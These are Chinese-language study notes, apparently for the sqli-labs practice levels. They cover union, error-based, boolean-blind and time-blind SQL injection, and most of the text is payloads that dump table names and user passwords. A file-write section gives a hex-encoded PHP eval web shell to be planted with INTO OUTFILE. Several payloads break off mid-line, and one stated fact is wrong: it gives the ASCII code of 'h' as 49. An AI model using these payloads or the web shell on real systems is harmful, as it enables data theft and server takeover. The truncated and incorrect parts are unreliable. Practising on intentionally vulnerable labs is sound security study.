基于报错注入
单引号字符型注入
字符型注入还是数字型注入
?id=1' //等号前后不能有空格,即不能是?id = 1'这样 |
是否为单引号闭合型注入
?id=1'--+ |
用--+
把后面的内容注释掉,然后回显正常,说明是单引号闭合型注入
该语句查询了几列数据
?id=1' order by 1--+ |
一直到3
时依然回显正常,到4
就开始报错,说明查询了3
列数据。那么,我们现在构造的,union
后面的语句中也要查询3
列。
会显示哪几列
?id=-1' union select 1,2,3--+ |
通过回显2,3
可知,是第二,三列
查询数据库名
?id=-1' union select 1,2,database()--+ |
显示当前的数据库名是security
查询表名
?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'--+ |
首先要知道,**group_concat()
函数会将查询的表名连在一起输出,然后,有一个information_schema
库,该库中有一个tables
表,该表存有所有数据库的表名。**table_schema='security'
表示查询table_schema
字段为security
的列,再加上前面的table_name
(tables
表中的一个列名,下面全是各种库中的表名),表示查询security
库的所有表名。
查询列名
group_concat(table_name),3,4,5 frfromom infoorrmation_schema.tables WHERE table_schema='ctf'--+ |
与tables
表相似,information_schema
库中有一个columns
表,存有所有数据库的列名。上面语句表示,查询security
库中的users
表中的所有列名。
查询列表中的内容
?id=-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users--+ |
数字型注入
传入?id=1
,正常回显

传入?id=1'
,回显的报错中没有显示我们传入的数字

传入?id=1--+
,正常回显

因此得知本关是基于报错的数字型注入
单引号变形字符型注入
第一关的闭合符号是'
本关的闭合符号变成了')
双引号变形字符型注入
传入?id=1'
,依旧回显正常,这时候可以猜测一下是不是双引号闭合

传入?id=1"
,根据报错回显确定了,闭合符号是")
通过函数报错注入
通过floor
报错
该方法最多回显64
个字符。
爆数据库、版本、用户
# ?id=1'和?id=-1'都行 |
爆表
UNION SELECT count(*),0,concat( |
爆列
UNION SELECT count(*),0,concat( |
爆内容,这里不知道为什么用group_concat()
不行
UNION SELECT count(*),0,concat( |
updatexml
报错
原理
最多回显32
个字符。
updatexml()
使用时,当xpath_string
格式出现错误,masql
会报出语法错误,而执行结果也在错误里。对于select * FROM test WHERE id=1 AND updatexml(1,0x7e,1);
,其中0x7e
是~
,其不属于xpath
语法格式,因此报出xpath
语法错误。
只有在payload
返回的不是xml
格式才会生效。
注入流程
爆数据库、版本号、用户名
#传入 ?id=1'+payload |
concat()
是连接函数。
爆表
AND updatexml(1,concat( |
爆列
AND updatexml(1,concat( |
爆内容
AND updatexml(1,concat( |
利用substr()
函数绕过字数限制,爆出所有内容。
ExtractValue
报错
最多回显32
个字符。
爆数据库、版本号、用户名
AND ExtractValue(1,concat(0x7e,(SELECT database()),0x7e))--+ |
爆表
AND ExtractValue(1,concat( |
爆列
AND ExtractValue(1,concat( |
爆内容
AND ExtractValue(1,concat( |
Lass-7
文件写入
参考文章:Mysql注入中的outfile、dumpfile函数详解 - gxy* - 博客园
into outfile
命令
运用该命令的格式如下
SELECT...into outfile '绝对路径' |
0x3c3f70687020406576616c28245f504f53545b227368656c6c225d293b203f3e
是对应每个字符的十六进制连成的。
secure_file_priv
参数
因为涉及到在服务器上写入文件,所以into outfile
函数能否成功执行受到参数secure_file_priv
的影响,可以利用select @@secure_file_priv
命令查询其值。
- 当
secure_file_priv=''
时,对导入导出无限制 - 当为指定的目录时,只能向指定的目录导入导出
- 当
secure_file_priv=NULL
时,禁止导入导出功能
条件
- 知道绝对路径
- 在数据库配置文件中含有配置项
secure_file_priv=''
- 具有
root
权限
还有into dumpfile()
和load_file()
这两个函数以后可能也会用到。
布尔盲注
相关函数
设置字符串str='hmhwazyt5799'
length(str)
返回字符串的长度,12
left(str,1)
返回字符串str
的第1
个字符,h
ascii(left(str,1))
返回h
的ascii
码,49
substr((str),9,4)
返回str
中从第9
个字符开始长度为4
的字符串,5799

注入流程
注:前面求闭合符号略过,传入?id=1'+payload
即可。
- 爆库名长度
SELECT * FROM tab WHERE id=1 AND (length(database())=8) |
设置变量

设置payload

爆破

成功确定数据库名长度为8
- 爆数据库
SELECT * FROM tab WHERE id=1 AND (left(database(),1)='s') |
设置变量和攻击方式,这里采取Clustter bomb
攻击

设置payload


爆破
!
成功确定数据库security
- 爆表个数
AND (SELECT count(table_name) |
- 爆各个表长度
注意:length
括在select
外,二者间要加两个括号。

#爆第一个表的长度 |

#爆第二个表的长度 |

#爆第三个表的长度 |

#爆第四个表的长度 |
- 爆各个表名
#第四个表的第一个字符u的ascii码 |
- 爆指定表中列个数
AND (SELECT count(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users')=3 |
- 爆各个列长度
#users表中的第2列username的长度 |
- 爆各个列名
#users表中的第3列password的第2个字符的ascii码 |
- 爆字段个数
AND (SELECT count(username) FROM users)=14 |
- 爆各个字段长度
#users表中的username列的第1个字段的长度 |
- 爆字段
AND ascii(substr((SELECT username FROM users LIMIT 0,1),1,1))=68 |
脚本
时间盲注
时间盲注与布尔盲注相似,不同的是执行正确与否的参考,由是否报错变成了是否执行sleep()
函数。测试的核心语句是AND if(查询语句,sleep(3),1)
。
AND if(length(database())=8,sleep(3),1) |
POST
Lass-11
输入1'
回显信息如下,可以推断出传参格式是username='' and password=''

输入1' or 1=1#
,得username='1' or 1=1#'
,回显正常,这里用--+
注释会失败,要用#
注释

接下来就按照Pass-1
的思路,使用**union
联合查询**注入即可
Lass-12
输入1
,回显错误,无报错信息

输入1'
,回显错误,无报错信息

输入1"
,回显错误,有报错信息,据此推断出闭合符号为")

尝试输入1") or 1=1#
,回显正确

接下来使用**union
联合查询**
Less-17
本题有一个坑,Username
中需填入正确的用户名,注入位置在Password
处,使用**updatexml()
函数报错注入**即可。
但是当我们爆字段时又出现了另一个问题,输入下面payload
时
1' and updatexml(1,concat(0x7e,substr((select group_concat(username) from users),1,32),0x7e),1)# |
有如下报错

修改payload
,使**select
的结果再通过一个中间表select
多一次**,便可以绕过上面的问题
AND updatexml(1,concat(0x7e,substr((SELECT group_concat(username) FROM (SELECT * FROM users) as hmhwazyt5799),1,32),0x7e),1)# |
成功返回username
字段内容

二次注入
往往一次注入后,还要注入第二次才能执行命令。
对于这种

可以像下面这样注入
1"||updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)# |
绕过字数限制的一些函数
substr
left
regexp
正则匹配
select(group_concat(flag))from(users)where(flag)regexp('^f') |
reverse
逆转输出
reverse(select group_concat(flag) from users) |